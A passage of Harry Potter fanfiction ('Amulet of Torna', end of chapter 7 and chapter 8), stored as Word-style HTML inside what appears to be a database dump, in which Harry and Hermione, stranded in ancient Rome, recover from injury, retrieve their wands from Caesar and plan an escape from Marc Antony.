style="text-indent:.25in">Marc Antony\'s\ntone became a buzzing noise in Hermione&#8217;s ears, and before she knew what she\nwas doing she had picked up the bucket of vomit.&nbsp; She looked at him calmly.&nbsp; Hermione couldn&#8217;t hear what he was saying his\nmouth was moving but no words were emerging.&nbsp;\nAs he continued to talk she lifted the bucket of fresh vomit over his\nhead and tipped it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marc Antony\nstopped speaking immediately.&nbsp; He was so\nshocked that he didn&#8217;t even utter a phrase he looked at her.&nbsp; Setting the bucket down Hermione smiled\nsweetly, batted her eyelashes and walked away from him to join the other girls\nwith Cleopatra.&nbsp; Marc Antony still sat\nthere, he blinked a few times.&nbsp; He heard\nthe sounds of heavy laughter coming from behind him.&nbsp; He turned and saw Caesar laughing his head\noff at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8230;should have\nseen&#8230;&#8221; He took a deep breath &#8220;Your face.&#8221; Caesar said his stomach was hurting\nfrom laughing so hard, but he didn&#8217;t care he hadn&#8217;t laughed like that in\nyears.&nbsp;&nbsp; Marc Antony was turning red, he\nwas deeply embarrassed.&nbsp; This day hadn&#8217;t\nturned out as good as he thought.&nbsp; He\nwould get even with that girl if it was the last thing he ever did.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">Well that&#8217;s it for Chapter 7; I hope you\nall enjoyed it.&nbsp; Thanks for reading, now\ndo the right thing and Review, review review ^_^</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(43, 8, '\n\n\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: I don&#8217;t own original Harry Potter characters or\nsituations, They belong to J.K Rowlings. If I owned\nthem, I would be sitting in Hawaii\nright now sipping drinks with little umbrellas in them and having hot guys\nserving my every need. *sigh* Oh well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">A/N: Sorry it took so\nlong for this chapter, but a lot was put into it.&nbsp; Now if you could all please read Heaven&#8217;s\nnewly updated fic called Within The Shadows of Hatred,\nit is very good.&nbsp; And also I&#8217;ve started a\nnew fan fiction an anime one in the Dark Fiction folder, if you could please\ntake a look at that I would greatly appreciate it.&nbsp; If I&#8217;m going to be a best selling author I\nhave to write things from all angles.&nbsp; So\nplease take a peek and tell me what you think.&nbsp;\nHave fun reading Amulet of Torna Chapter 8 ^_^</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Amulet\nof Torna</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n8&#8212;The Great Escape</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry groaned opening his eyes, he\nfelt like he&#8217;d been hit by a semi truck and backed over and hit again.&nbsp; He tried to sit up even though all his\nmuscles ached.&nbsp; He glanced around at\nwhere he was.&nbsp; Harry was sitting on a bed\nmade of straw; he touched his shoulder where there was still a large amount of\npain coming from it, it had been bandaged up.&nbsp;\nHarry rubbed his eyes as he tried to sit up, a strange dizziness\novercame him and he had to lie back down.&nbsp;\nHe looked up at the stone ceiling not really recalling how he got there,\nthe last thing he remembered was getting stabbed and then all went dark.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hearing footsteps Harry turned to\nsee Marcelo come and stop by his side holding an old wooden bowl, Harry was\nsure that the tall red head was going to kick him in the side, dump whatever\nwas in the bowl all over him, and stalk off angry, but only managing in\nsurprising him by kneeling down.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo extended a bowl of a very\nsweet smelling mixture. &#8220;Here, you&#8217;ll want to put some of this on your wound,\nit&#8217;ll make the pain bearable.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in;tab-stops:69.75pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sat up looking at Marcelo\nsuspiciously, &#8220;What is that stuff, poison maybe?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&#8221; Marcelo shook his head, &#8220;A\nlot of us who are still alive use this to ease our pain.&nbsp; Look its up to you if you want to use it, I&#8217;m\nnot your nursemaid.&#8221; He put the bowl down on the ground next to Harry and\nstood.&nbsp; &#8220;I just wanted to say thanks.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Thanks for what?&#8221; Harry looked up\nat him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;For saving my life out there,&#8221;\nMarcelo cleared his throat and turned on his heels moving away from Harry\nthinking maybe this boy was nothing like Marc Antony.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stared at the substance in\nthe bowl, he wasn&#8217;t exactly sure if he should trust Marcelo, but he was in far\ntoo much pain to care right now.&nbsp; He\nremoved the bandages from around his shoulder and scooped out a bit of the\nmixture with his fingers and began rubbing it over the wound in his shoulder,\nimmediately he felt his shoulder begin to numb a bit, he wondered just what\nthis stuff was.&nbsp; Harry shrugged and\ncontinued to cover each bad gash and bruise with the mixture.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Sighing with the sudden relief,\nHarry leaned back against the cold hard stone wall.&nbsp; He saw Enzo heading in his direction.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How are you feeling?&#8221; Enzo\nstopped right next to Harry and took a seat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How do you think I&#8217;m feeling?&#8221;\nHarry said; he couldn&#8217;t help his sarcasm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Enzo nodded, he glanced around the\ncell and found Marcelo staring at Harry and himself.&nbsp; Marcelo quickly turned away in what looked\nlike disgust.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I think he&#8217;s been hit in the head\ntoo many times.&#8221; Harry spoke up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why do you say that?&#8221; Enzo\nscrapped the stone flooring with his fingernail.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He&#8217;s just been behaving oddly; he\ncame over and gave me this stuff.&#8221; Harry held up the bowl of healing solution.\n&#8220;And he thanked me for saving his life.&nbsp;\nClearly he&#8217;s suffering from some sort of brain illness.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Enzo chuckled, &#8220;Yes, I see what\nyou mean.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo turned around facing\nthem.&nbsp; &#8220;I heard that!&nbsp; I&#8217;m not suffering from brain illness!&#8221;\nMarcelo replied bitterly.&nbsp; &#8220;I just happen\nto think that you aren&#8217;t as bad as Antony,\neven though you look like him.&#8221; He pointed right at Harry.&nbsp; &#8220;He would have just left me to die he doesn&#8217;t\nhave one ounce of moral fiber left in his entire body!&#8221; Marcelo was yelling\nnow.&nbsp; &#8220;Why did you have to go and save my\nlife? I didn&#8217;t ask you to!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know you didn&#8217;t, but I had to\ndo something&#8212; no one deserves to die like that.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A sigh escaped from Marcelo.\n&#8220;You&#8217;re like no one I&#8217;ve ever met before; it&#8217;s odd to see someone who does\nsomething for another without expecting anything in return for it.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m sorry if that offends you,\nbut I&#8217;m not going to change anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I didn&#8217;t ask you to.&#8221; Marcelo\nsaid, &#8220;Actually I&#8217;m glad you are that way, I could be dead right now.&#8221; He\nsmiled a little, &#8220;From now on&#8230;&#8221;&nbsp; Marcelo\nheld out his hand in what looked like a friendly gesture.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry glanced at him suspiciously,\nthe red head&#8217;s hand extended, his brows arched slightly unsure.&nbsp; Was this his way of saying he wanted to now\nbe friends.&nbsp; Harry took a chance; he\nstood and grasped Marcelo&#8217;s hand firmly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione stood in front of a large\ndoor and knocked, it was opened by a male slave and she stepped into the well\nlit room.&nbsp; She saw Caesar sitting at a\ndesk near the far wall; he was twirling something in his hand.&nbsp; Hermione cleared her throat, &#8220;You wanted to\nsee me?&#8221; &nbsp;She noticed he picked up a wand\nfrom the desk and tucked it into his robe.&nbsp;\nHermione wondered how Caesar knew which one was hers.&nbsp; It disturbed her that Caesar was that\nobservant.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Caesar stood and approached the\ngirl, &#8220;Yes I did.&#8221; He cleared his throat and held up her wand.&nbsp; &#8220;How does this work?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why do you want to know?&#8221;\nHermione felt a little nervous.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know that it is a great weapon,\nI&#8217;ve seen it being used once.&#8221; <br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But you told me you didn&#8217;t know\nwhat it was.&#8221; Hermione took a step forward.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I wanted to hear from your own\nlips what this was; I wanted to make sure you weren&#8217;t my enemy.&nbsp; Are you my enemy?&#8221; Caesar&#8217;s brow arched\nsuspiciously.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed. &#8220;No sir, I am not\nyour enemy.&nbsp; But even if I was, do you\nthink it would be wise for me to admit to being your enemy when surely it would\nland me in more trouble?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Caesar turned away a moment,\nthinking, she was intelligent that much was true.&nbsp; It was rare to see an intelligent woman.&nbsp; She very well could deceive his men, but\nnever deceive himself.&nbsp; For he was Julius\nCaesar, the greatest Emperor the world had ever known, he would get her to show\nhim how to use this weapon and then he would be even greater. Caesar smirked\nand faced her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Explain this.&#8221; Caesar referred to\nthe wand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I doubt you would be able to use\nit effectively, it only works with the wit&#8212;person it was meant for.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He crossed his arms not believing\nher.&nbsp; &#8220;If you don&#8217;t show the great Julius\nCaesar how to use this then you will be severely punished.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You don&#8217;t have to threaten me; I\nwas just trying to explain how the wand works because you could get seriously\nhurt if used improperly.&#8221; Hermione took a breath.&nbsp; &#8220;Not everyone can use this, only someone with\nmagic in them could do it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do not try to sway me young lady,\nyou will not leave this room until you tell Caesar how to use this.&#8221; His eyes\nnarrowed in anger.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right, don&#8217;t say I didn&#8217;t\nwarn you.&#8221;&nbsp; Hermione hoped that the wand\nworked for him, even though he did look like Oliver Wood it didn&#8217;t mean that in\nthis lifetime he would be able to do magic.&nbsp;\nShe told him how to hold it correctly and point it at an object; she\ngave him a simple spell to try. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Of course Caesar had said it all wrong so\nnothing happened.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;\n&#8220;Here let me show you.&#8221; Hermione quickly took the wand from him before\nhe had time to react and pointed it at the small vase in front of them and\nsaid, &#8220;Wingardium Leviosa.&#8221; And the\nsmall vase lifted slowly off the table.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Caesar stared in wide eyed in disbelief. &#8220;Astounding.&nbsp; Do another one.&#8221; He nudged her with his\nelbow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded and ended the spell on the vase and moved her wand to the\nsoft cushion pillow on the sofa and said &#8220;Accio pillow.&#8221; The pillow zoomed its\nway towards her and she directed it to sit up against the wall.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Caesar imagined weapons flying through the air, piercing his enemies in\none blow thus creating ever lasting victory; he shook his head of his day dream\nand grabbed the wand from her.&nbsp; &#8220;Let me\ntry now.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He pointed the wand towards book on the shelf and said, &#8220;Accio book!&#8221; the\nbook headed in his direction, he forgot to redirect the object, and the book\ncontinued and hit him square in the face with such a force that it knocked him\nout.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione blinked down at him, she couldn&#8217;t help the laughter that soon\nfollowed.&nbsp; She went over to Caesar&#8217;s\nunconscious body and picked up her wand from the floor, then kneeled down next\nto him.&nbsp; She really didn&#8217;t want to go\nfishing through his clothing for Harry&#8217;s wand but she had little choice at the\nmoment, she sighed heavily and her hands went into his clothing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So what is she like?&#8221;<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry turned away from the barred\nwindow looking at Marcelo. &#8220;What&#8217;s who like?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Your woman,&#8221; Marcelo bit off a\nhunk of stale bread.&nbsp; &#8220;What&#8217;s she\nlike?&#8221;&nbsp; He did not look up but into his\nbowl of slop.&nbsp; &#8220;She must be quite a woman\nfor you to always think about her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How do you know I always think\nabout her?&#8221; Harry asked, glancing at him suspiciously.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo grinned, &#8220;You always get\nthis glazed look in your eyes, and you also say her name in your sleep.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry pulled his knees up to his\nchest resting his arms on them, &#8220;I love her.&#8221;&nbsp;\nHarry sighed and leaned his head back against the stone wall, &#8220;This\nisn&#8217;t fair to her.&nbsp; She shouldn&#8217;t be\ngoing through something like this, if it weren&#8217;t for me she wouldn&#8217;t be here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo could hear guilt in his\nvoice; he didn&#8217;t try to understand why Harry would be feeling guilty about\nsomething, he looked up at him.&nbsp;&nbsp; &#8220;Who\nare you really?&#8221; Marcelo&#8217;s eyes scanned over Harry&#8217;s every feature.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I told you who I was.&#8221; Harry said\nstaring back at him, &#8220;I don&#8217;t know why you don&#8217;t believe me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Where do you come from?&#8221;\nMarcelo&#8217;s eyes narrowed in thought, &#8220;And don&#8217;t bother lying\nit won&#8217;t help.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry gulped, he would tell the\ntruth.&nbsp; &#8220;All right I won&#8217;t lie.&#8221;&nbsp; He cleared his throat, &#8220;My name is Harry\nPotter and I come from the future.&nbsp; I was\nthrown back in time to die a slow agonizing death.&#8221;&nbsp; Harry let out a slow, long breath.&nbsp; &#8220;And the girl who occupies my thoughts is my\nbest friend now girlfriend, the one I love and would die to protect.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo looked at Harry, wondering\nif what he was told is true.&nbsp; It was most\nabsurd; surely no one could travel through time.&nbsp; He would let this lie slide for now, but\nsooner or later the truth would come out it was only a matter of time.&nbsp; If this Harry wanted to keep up this pretence\nfor now, then so be it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Hermione couldn&#8217;t help the blush that spread\nacross her cheeks as she searched Caesar&#8217;s body for Harry&#8217;s wand; she had found\nthat this man was in very good shape.&nbsp; He\nwas very well built and she assumed it was from wielding weapons since he was a\nstrong leader.&nbsp; She found it even more\nawkward that he looked so much like Oliver Wood and here she was going through\nhis clothes and having to touch him. Finally she had found Harry&#8217;s wand and\nimmediately stood up with both wands in hand she turned towards the doors and\nheaded out of the room.&nbsp; Her face was\nstill burning; she hoped to never have to go through anyone&#8217;s clothes ever\nagain.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She reached the door at rapid\nspeed and quickly opened it, going inside. &nbsp;Meldina and Rosa came from the adjoining room\nto greet her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What did he want?&#8221; Meldina\nwondered, her voice trimmed with worry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Were you punished?&#8221; Rosa\nsearched her new friend&#8217;s face for any sign of brutality.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shook her head, &#8220;No.&nbsp; He just wanted to know how to use this.&#8221; She\nbrought out her wand from within her sleeve.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Meldina stared at the stick, &#8220;Why\nwould he want to know how to use that?&nbsp;\nIt&#8217;s just a piece of wood.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh no, it&#8217;s more than just a\npiece of wood.&#8221;&nbsp; Hermione pointed her wand\nat the feather duster sitting on the table and muttered a quick Transfiguration\nspell.&nbsp; The feathers on the duster slowly\nstarted to disappear, as well as the body changing into a long object with\nscales, slowly moving back and forth, it was a snake and it was alive.<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione stared wide eyed at it,\nthen slapped herself in the forehead. &#8220;Oh I&#8217;m such an idiot, I said the last\npart of the spell wrong, I said an s-sound instead of a c-sound, silly\nme.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Meldina and Rosa stared at the\nsnake, what if it struck at them.&nbsp; Rosa\npointed and shouted when she saw Hermione point her wand at the snake and\nshout, &#8220;Incendo!&#8221; the snake immediately erupted into flame which caused both\nRosa and Meldina to jump back both shrieking at the same time.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How&#8230;how did you do that?&#8221; Meldina\ncouldn&#8217;t help the fear in her voice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Magic.&#8221;\nHermione simply said.&nbsp; &#8220;And it&#8217;ll help us\nget out of here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What, do you mean escape?&#8221; Rosa\nlooked at the brunette perhaps a little too hopeful.&nbsp; She really wanted out of here.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded. &#8220;Yes,\nescape.&nbsp; I have to get out of here, find\nHarry and get home; I don&#8217;t intend to die here in ancient times.&#8221; She packed a\nwicker basket with some fruit, cheese and bread that was sitting on a platter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ancient times, what do you mean\nby that?&#8221; Meldina stepped forward, still a bit wiry of her new friend.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I am not from this time period,&#8221;\nHermione said as she secured Harry&#8217;s wand to Falore&#8217;s talon and sent it off to\nHarry. &#8220;I am from a time way in the future, farther than you can even imagine.&#8221;\nShe looked up at the girls, &#8220;I&#8217;m leaving here, are you two coming with me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now, now my dear, why would you\nwant to leave here?&#8221; A masculine voice said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed; she did not need\nto be annoyed right now.&nbsp; She turned\nslowly looking at him, and sure enough it was Marc Antony who stood there.&nbsp; Hermione poked out one hip placing her hand\non it and gave him her most no nonsense expression.&nbsp; &#8220;Oh great it&#8217;s you.&nbsp; What do you think you&#8217;re doing coming in here\nlike that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rosa and Meldina clung to each\nother again; they feared Antony and\nfound it really brave of Hermione to even talk to him.&nbsp; Especially like that, like he was lower than\nthe dirt she walked upon.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;One would think you didn&#8217;t like\nme?&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t like you.&#8221; Hermione said\nglaring at him, she still found it difficult to glare at the face that also\nbelonged to Harry but she stayed strong and kept her hard glare on him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s this I hear about you\ngoing to escape?&#8221; Antony stepped\ncloser running his fingers along the top of the table almost innocently.&nbsp; He didn&#8217;t wait for her to answer, &#8220;Well I\njust can&#8217;t allow that now.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You have no say.&#8221; Hermione\nreplied gripping her wand tight from the anger she was feeling for this\narrogant bastard.&nbsp; Her wand!!&nbsp; She glanced down at it in her hand and smirked.&nbsp; Hermione lifted her wand and pointed it at\nhim, staring him straight in the eye.&nbsp;\n&#8220;You aren&#8217;t going to stop me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in;tab-stops:63.0pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">Antony\nlaughed loud and harsh at her, &#8220;Oh and just what are you going to do to me with\nthat stick, throw it at me?&#8221;&nbsp; He laughed\nagain.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ha, you wish.&#8221; Hermione arched a\nbrow at him.&nbsp; &#8220;After I get done using\nthis stick on you you&#8217;ll wish you were dead.&#8221;&nbsp;\nShe was tired of his laughter and his arrogance and Hermione pointed her\nwand at the far wall and shouted a curse at the sofa which caused it to explode\nwhich caused Antony to jump back in\ncomplete fear as large particles of the couch flew all around the room.&nbsp; &#8220;You&#8217;re next!&#8221; She pointed the wand at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now lets not be hasty here, you\nreally don&#8217;t want to hurt me now do you?&#8221; Antony\nsaid holding his hands up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh you have no idea how bad I\nwant to hurt you.&nbsp; Let&#8217;s figure out why\nshall we.&nbsp; First you send Harry to die,\nthen you try to put the moves on me.&#8221; She got a funny look from him with that\nphrase; he obviously didn&#8217;t understand what she meant.&nbsp; Hermione rolled her eyes.&nbsp; &#8220;All right you try to take advantage of\nme.&nbsp; Now that I can let slide but you\nsending my Harry to die is UNACCEPTABLE!&#8221; She shouted, her loud voice echoing\noff the walls.&nbsp; &#8220;You deserve to lose a\nleg, an arm at least!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I really didn&#8217;t think your\nHarry was going to die, no, no. I had faith in his superior strength, I really\ndid.&#8221; He laughed nervously then cleared his throat.&nbsp; &#8220;Oh and when you dumped that vomit on my\nhead, which was a nice touch might I add.&#8221; His grin was even nervous.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione simply looked at him her\nbrows arched, she enjoyed hearing him grovel.&nbsp;\nShe laughed inside to herself thinking how pathetic he was.&nbsp; Without taking her wand down or her eyes from\nthe groveling Marc Antony she spoke to Rosa and Meldina.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you two coming with me or\nnot?&#8221;</p>\n\n<p class="MsoNormal" 